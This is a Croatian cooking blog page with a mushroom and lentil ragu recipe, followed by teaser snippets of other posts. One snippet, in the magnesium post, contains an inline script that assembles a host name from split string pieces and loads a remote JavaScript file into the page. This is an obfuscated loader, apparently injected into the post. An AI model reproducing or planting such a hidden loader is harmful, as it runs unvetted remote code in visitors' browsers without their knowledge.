RAGU OD GLJIVA I LEĆE 🍄🍄‍🟫




Ragu od gljiva i leće 



Ragu od gljiva i leće ukusan je, zasitan i jednostavan "vegetarijanski bolonjez" umak koji možete poslužiti uz tjesteninu ili iskoristiti kao nadjev za lazanje. Kombinacija sočnih gljiva, leće, povrća i aromatičnih začina daje umaku bogat okus i teksturu koja podsjeća na klasični mesni ragu.




Ragu od gljiva i leće 



Sastojci:

  • 2 glavice luka, krupno nasjeckane
  • 2 mrkve, oguljene i krupno nasjeckane
  • 2 režnja češnjaka, krupno nasjeckana
  • 2 stabljike celera, krupno nasjeckane
  • 5 žlica maslinova ulja
  • 300 g smeđih šampinjona, očišćenih
  • 2 žlice koncentrata rajčice
  • 1 čajna žličica suhog origana
  • ½ čajne žličice mljevenog cimeta
  • 1 čajna žličica šećera, po želji
  • 400 g kuhane leće iz konzerve, zajedno s tekućinom
  • 200 ml punomasnog mlijeka ili biljnog napitka
  • morska sol
  • svježe mljeveni crni papar
  • 400 ml vode
  • svježe kuhana tjestenina, za posluživanje
  • parmezan ili vegetarijanska/veganska alternativa, za posluživanje, po želji



Priprema:

  1. Luk, mrkvu, češnjak i celer stavite u multipraktik i usitnite dok ne dobijete vrlo sitno nasjeckano povrće. Povrće možete nasjeckati i ručno, ali multipraktik će posao znatno ubrzati.
  2. U širokom loncu zagrijte maslinovo ulje. Dodajte usitnjeno povrće i pržite na srednje laganoj vatri oko 5 minuta, uz povremeno miješanje.
  3. Gljive stavite u istu posudu multipraktika u kojoj je bilo povrće. Nema potrebe za pranjem posude. Usitnite ih dok ne dobiju vrlo sitnu teksturu nalik mljevenom mesu.
  4. Dodajte usitnjene gljive u lonac, malo pojačajte vatru te dobro začinite solju i svježe mljevenim crnim paprom. Pržite još 10 minuta, uz povremeno miješanje.
  5. U lonac dodajte koncentrat rajčice, suhi origano, mljeveni cimet i šećer ako ga koristite.
  6. Sve dobro promiješajte i pržite još 1 minutu kako bi se začini i koncentrat rajčice povezali s ostalim sastojcima.
  7. Dodajte ocijeđenu leću zajedno s tekućinom iz konzerve. Ulijte i 400 ml vode te 200 ml mlijeka ili biljnog napitka.
  8. Pustite da umak zavrije, zatim poklopite lonac i smanjite temperaturu. Kuhajte na laganoj vatri oko 45 minuta. Tijekom kuhanja promiješajte svega nekoliko puta.
  9. Nakon toga maknite poklopac i kuhajte još 10 do 15 minuta, dok se umak ne zgusne i postane bogat i kremast. Kušajte i prema potrebi dodatno začinite solju i paprom.
  10. Ragu od gljiva i leće pomiješajte sa svježe kuhanom tjesteninom. Po želji ga pospite parmezanom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više